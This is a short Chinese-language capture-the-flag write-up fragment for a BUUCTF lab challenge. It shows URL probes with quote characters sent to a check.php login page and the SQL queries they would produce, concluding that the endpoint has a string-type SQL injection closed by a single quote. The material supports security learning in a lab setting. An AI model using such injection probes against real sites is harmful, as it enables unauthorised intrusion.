题目链接
-
我们输入
http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin' and password=13123
响应为如下,提示我们输入password,看似url中查询了password,但是因为这是一个字符型注入,后台url转为
SELECT * FROM users WHERE username='admin AND password=13123';
将'admin AND password=13123'看为一个整体作为username了
-
下面我们使用&,我们输入
http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin"&password=13123 不报错
原sql语句为
SELECT * FROM users WHERE username='admin"' AND password='13123';
没有出现报错,&符号可以正确的将username和password理解为两个不同的查询变量。
但是输入http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin'&password=13123 报错
原sql语句为
SELECT * FROM users WHERE username='admin'' AND password='13123'; 因为闭合符号为','不会被视为字符,所以admin'是不闭合的
这说明了注入方式为字符型注入,而且闭合符号为'